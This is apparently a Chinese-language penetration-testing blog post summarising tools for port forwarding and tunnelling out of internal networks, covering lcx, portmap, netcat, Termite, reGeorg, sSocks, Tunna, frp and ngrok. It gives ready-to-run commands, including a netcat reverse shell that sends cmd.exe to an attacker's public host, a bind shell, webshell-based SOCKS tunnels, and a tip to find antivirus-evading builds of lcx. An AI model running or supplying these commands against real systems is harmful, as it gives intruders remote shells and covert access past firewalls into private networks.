5、內網滲透之埠轉發與代理工具總結
理論上,任何接入網際網路的計算機都是可訪問的,但是如果目標主機處於內網,而我們又想和該目標主機進行通訊的話,就需要藉助一些埠轉發工具來達到我們的目的
注:文中提到的所有工具下載地址 https://github.com/Brucetg/Pentest-tools
一、LCX
lcx.exe是一個埠轉發工具,有Windows版和Linux版兩個版本,Windows版是lcx.exe,Linux版為portmap,
Windows版使用方法如下:
lcx有兩大功能:
1)埠轉發(listen和slave成對使用)
2)埠對映(tran)
1、lcx 內網埠轉發
1.內網主機上執行:lcx.exe –slave 公網主機ip 公網主機埠 內網主機ip 內網主機埠
例如:
lcx.exe -slave 公網主機ip 4444 127.0.0.1 3389
意思是把內網主機的 3389 埠轉發到具有公網ip主機的 4444 埠
2.公網主機 上執行 Lcx.exe –listen 公網主機埠1 公網主機埠2
例如:
lcx.exe –listen 4444 5555
意思是監聽公網主機本機的 4444 埠請求,並將來自 4444 埠的請求傳送給 5555 埠。
此時,RDP 連線,Windows 命令列下輸入mstsc,即可開啟遠端桌面連線:
如果是在公網主機上操作,計算機那欄只需要輸入 127.0.0.1:5555,即可;如果是在本地主機上操作,則輸入 公網主機ip:5555 ,然後輸入使用者名稱和密碼,即可連線到內網主機。
2、本地埠轉發
由於防火牆限制,部分埠如3389無法通過防火牆,此時可以將該目標主機的3389埠透傳到防火牆允許的其他埠,如53埠,
目標主機上執行:
lcx -tran 53 目標主機ip 3389
這時我們可以直接遠端桌面連線到到 目標主機IP:53
注:軟體可能會被殺軟查殺,可自行尋找免殺版本。
Linux版使用方法:
例如:
先在具有公網ip的主機上執行:
./portmap -m 2 -p1 6666 -h2 公網主機ip -p2 7777
意思是監聽來自6666埠的請求,將其轉發到7777埠
再在內網主機上執行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公網主機ip -p2 6666
意思就是將內網主機22埠的流量轉發到公網主機的6666埠。
然後在Linux系統命令列下執行
ssh 公網主機ip 7777
即可連線內網主機。
二、nc 反彈
nc使用方法:
反向連線
在公網主機上進行監聽:
nc -lvp 4444
在內網主機上執行:
nc -t -e cmd.exe 公網主機ip 4444
上述命令中 -t 引數是指通過telnet模式執行cmd.exe,可省略。
成功後即可得到一個內網主機的cmd shell。
正向連線
遠端主機上執行:
nc -l -p 4444 -t -e cmd.exe
本地主機上執行:
nc -vv 遠端主機ip 4444
成功後,本地主機就獲得了遠端主機的一個cmd shell。
三、socks代理工具
1). Termite 是EW(EarthWorm)的最新版,官方連結: http://rootkiter.com/Termite/
主要特性: 多平臺支援、跳板機互聯、正反向級聯、小巧無依賴、內建Shell令主機管理更方便
使用方法,以Windows平臺為例:
管理端:
客戶端:
客戶端執行:
agent_windows_x86.exe -l 4444
管理端執行:
admin_windows_x86.exe -c 127.0.0.1 -p 4444
將新的agent加入拓撲:
agent_windows_x86.exe -c 127.0.0.1 -p 4444
具體使用方法可參考: http://rootkiter.com/Termite/README.txt
Usage
1.以服務模式啟動一個agent服務。
$ ./agent -l 8888
2.令管理端連線到agent並對agent進行管理。
$ ./admin -c 127.0.0.1 -p 8888
3.此時,admin端會得到一個內建的shell, 輸入help指令可以得到幫助資訊。
help
4.通過show指令可以得到當前agent的拓撲情況。
show 0M +– 1M 由於當前拓撲中只有一個agent,所以展示結果只有 1M , 其中1 為節點的ID號, M為MacOS系統的簡寫,Linux為L,Windows簡寫為W。
5.將新agent加入當前拓撲
./agent -c 127.0.0.1 -p 8888
6.此時show指令將得到如下效果 0M +– 1M | +– 2M 這表明,當前拓撲中有兩個節點,其中由於2節點需要通過1節點才能訪問,所以下掛在1節點下方。
7.在2節點開啟socks代理,並繫結在本地埠
goto 2 將當前被管理節點切換為 2 號節點。socks 1080 此時,本地1080 埠會啟動個監聽服務,而服務提供者為2號節點。
8.在1號節點開啟一個shell並繫結到本地埠
goto 1shell 7777 此時,通過nc本地的 7777 埠,就可以得到一個 1 節點提供的 shell.
9.將遠端的檔案下載至本地
goto 1downfile 1.txt 2.txt 將1 節點,目錄下的 1.txt 下載至本地,並命名為2.txt
10.上傳檔案至遠端節點
goto 2upfile 2.txt 3.txt 將本地的 2.txt 上傳至 2號節點的目錄,並命名為3.txt
11.埠轉接
goto 2 lcxtran 3388 10.0.0.1 3389 以2號節點為跳板,將 10.0.0.1 的 3389 埠對映至本地的 3388 埠
視訊教程:
http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
2). reGeorg 工具地址: https://github.com/sensepost/reGeorg
reGeorg 是 reDuh 的升級版,主要是把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用 webshell 建立一個 socks 代理進行內網穿透,伺服器必須支援 aspx、php 或 jsp 這些 web 程式中的一種。
使用方法:
3). sSocks 工具地址: http://sourceforge.net/projects/ssocks/
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支援socks5驗證,支援IPV6和UDP,並提供反向socks代理服務,即將遠端計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.14
下載解壓後,執行命令編譯。
./configure && make
(這裡我提供的壓縮包中該軟體是已經編譯好的!)
編譯完成,進入src目錄,會發現有nsocks、ssocksd、ssocks、rcsocks,其功能說明介紹如下:
程式功能:
nsocks 類似通過Socks5代理後的netcat,可用來測試socks server ssocksd 用來開啟Socks5代理服務 ssocks 本地啟用Socks5服務,並反彈到另一IP地址 rcsocks 接收反彈過來的Socks5服務,並轉向另一埠
使用示例:
公網主機上執行:
./rcsocks -l 4444 -p 5555 -vv
內網主機上執行:
./rssocks –vv –s 公網主機ip:5555
這時本地主機可以通過訪問公網主機的 4444 埠訪問內網主機。
4). proxychains 工具地址址:http://proxychains.sourceforge.net/
Ubuntu 下可直接執行以下命令安裝:
sudo apt-get update
sudo apt-get install proxychains
Proxychains 是一款 LINUX 平臺下可以實現全域性代理的軟體,效能相當穩定可靠。在使任何程式通過代理上網,允許 TCP 和 DNS 通過代理隧道,支援 HTTP、SOCKS4、SOCKS5 型別的代理伺服器,支援 proxy chain,即可配置多個代理,同一個 proxy chain 可使用不同型別的代理伺服器。
網上有很多該工具的使用介紹,請自行根據需要查詢。
5). Tunna 工具地址: https://github.com/SECFORCE/Tunna
該工具使用的先決條件:
能夠在遠端伺服器上上傳webshell
使用方法:
python proxy.py -u <remoteurl> -l <localport> [options]
options:
--help, -h 顯示此幫助資訊並退出
--url=URL, -u URL 為遠端webshell的URL
--lport=LOCAL_PORT, -l LOCAL_PORT代表本地偵聽埠
--verbose, -v 詳細(輸出資料包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP請求大小(一些網站對大小有限制)
No SOCKS Options:
如果使用SOCKS代理,選項將被忽略
--no-socks, -n 不使用 Socks 代理
--rport=REMOTE_PORT, -r REMOTE_PORT遠端服務埠,供webshell連線
--addr=REMOTE_IP, -a REMOTE_IP 遠端webshell連線到的地址(預設為 127.0.0.1)
上游代理選項:
通過本地代理進行隧道連線
--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)
--auth, -A 上游代理需要認證
高階選項:
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging執行緒間隔(預設值為0.5)
--start-ping, -s 首先啟動ping執行緒 - 一些服務首先傳送資料(例如,SSH)
--cookie, -C 請求cookies
--authentication, -t 基本認證
使用方法示例:
內網主機為Windows:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
其中:
-l 表示本地監聽的埠
-r 遠端要轉發的埠
-v 詳細模式
如果內網主機為Linux,則可以將22埠轉發出來,更詳細的使用方法請參考github上面的說明。
四、frp 內網穿透利器
frp 是一個可用於內網穿透的高效能的反向代理應用,支援 tcp, udp, http, https 協議。
工具地址: https://github.com/fatedier/frp
frp 的作用
利用處於內網或防火牆後的機器,對外網環境提供 http 或 https 服務。
對於 http, https 服務支援基於域名的虛擬主機,支援自定義域名繫結,使多個域名可以共用一個80埠。
利用處於內網或防火牆後的機器,對外網環境提供 tcp 和 udp 服務,例如在家裡通過 ssh 訪問處於公司內網環境內的主機。
在Windows平臺下該工具的檔案目錄中frpc.ini和frpc_full.ini都為客戶端配置檔案,其中frpc_full.ini包括所有配置資訊,我們可參考它來修改frpc.ini檔案作為我們的配置檔案,同理,frps.ini為伺服器端配置檔案。
frp服務端配置檔案示例:
#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_port = 7500
dashboard_user = {username}
dashboard_pwd = {password}
privilege_mode = true
privilege_token = {privilege_token}
[http]
type = http
auth_token = {auth_token}
custom_domains = {cudtom_domains}
[https]
type = https
auth_token = {auth_token}
custom_domains = {custom_domains}
實際使用時請將上述配置中的花括號處內容替換為自己的配置。比如將 {username} 替換為 admin。
啟動frp伺服器端:
frps.exe -c frps.ini
瀏覽器訪問: 127.0.0.1:7500,輸入frps.ini中配置的使用者名稱和密碼即可進入控制皮膚:
frp客戶端配置示例:
#frpc.ini
[common]
server_addr = xxx
server_port = 7000
auth_token = {auth_token}
privilege_token = {privilege_token}
[http]
type = http
local_ip = 127.0.0.1
local_port = 80
[https]
type = https
local_ip = 127.0.0.1
local_port = 443
[ssh]
type = tcp
local_port = 22
remote_port = 5555
注意frp客戶端和服務端的 auth_token 和 privilege_token 等要保持一致。
啟動frp客戶端:
frpc.exe -c frpc.ini
更多使用方法詳見 https://github.com/fatedier/frp/blob/master/README_zh.md
五、ngrok 內網穿透
工具地址: https://ngrok.com/download
ngrok支援Windows、Linux、Mac OS X等多個平臺,可自行選擇需要的版本來下載使用
分為免費版本和收費版本:
使用方法:
這裡僅簡單演示下Windows平臺上的使用:
首先在內網主機上執行(內網主機需安裝Python):
python -m SimpleHTTPServer 8089
我這裡在Windows下用Python 2.7來演示,就執行:
py -2 -m SimpleHTTPServer 8089
將ngrok上傳至內網主機並啟動ngrok:
ngrok.exe http 8089
這時我們只需要在瀏覽器中訪問:
http://cdb0e21b.ngrok.io
或者
https://cdb0e21b.ngrok.io
即可通過HTTP或者HTTPS來訪問內網主機上的檔案。
當然ngrok還有很多其他功能,更多使用方法請參考官方文件: https://ngrok.com/docs
六、總結
目前內網滲透中一般都會用到埠轉發與代理,本文也只是列出了一些常見的工具,還有很多其他工具沒有涉及到,希望能給大家帶來一些幫助,有錯誤的話也歡迎指出,dalao們請輕噴2333。
參考連結:
http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html
相關文章
- 內網滲透-隧道代理轉發內網
- 內網滲透—流量轉發內網
- 內網滲透工具內網
- 內網入口——代理搭建&埠轉發內網
- 內網滲透思路整理與工具使用內網
- 滲透測試基礎--內網轉發內網
- 網站滲透總結之Getshell用法大全網站
- 6、埠轉發流量操控工具總結
- 17、內網滲透測試定位技術總結內網
- Cobalt strike與內網滲透內網
- 內網滲透-初探域滲透內網
- Linux內網滲透Linux內網
- 內網滲透思路探索 之新思路的探索與驗證內網
- 無線滲透總結
- 內網埠轉發小技巧內網
- 內網中的埠轉發內網
- 工作組內網滲透內網
- 內網滲透隨想內網
- 內網滲透-內網資訊收集內網
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 利用nginx的stream模組實現內網埠的轉發代理Nginx內網
- 7、Linux 埠轉發特徵總結Linux特徵
- 網站安全滲透測試公司心得總結網站
- 滲透測試技巧總結
- cmseasy&內網滲透 Writeup內網
- 網安之-=滲透思路
- 什麼是內網滲透和外網滲透?有何區別?內網
- 記學習滲透測試之掃描埠
- Me-and-My-Girlfriend-1靶機滲透 (Vulnhub內網滲透)內網
- 內網滲透應用 跨vlan滲透的一種思路內網
- 4、內網埠轉發及穿透(合集)內網穿透
- 內網穿透之流量代理轉發內網穿透
- VMware搭建內網滲透環境內網
- Perun 內網滲透掃描神器內網
- 內網滲透 IPC$ [空連線]內網
- 內網滲透-防火牆資訊內網防火牆
- 內網滲透測試基礎內網
- 12、強大的內網域滲透提權分析工具——BloodHound內網